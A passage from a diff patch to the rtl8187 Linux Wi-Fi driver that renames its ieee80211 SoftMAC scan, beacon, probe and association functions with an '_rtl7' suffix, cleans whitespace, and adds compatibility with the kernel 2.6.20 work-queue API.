update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid 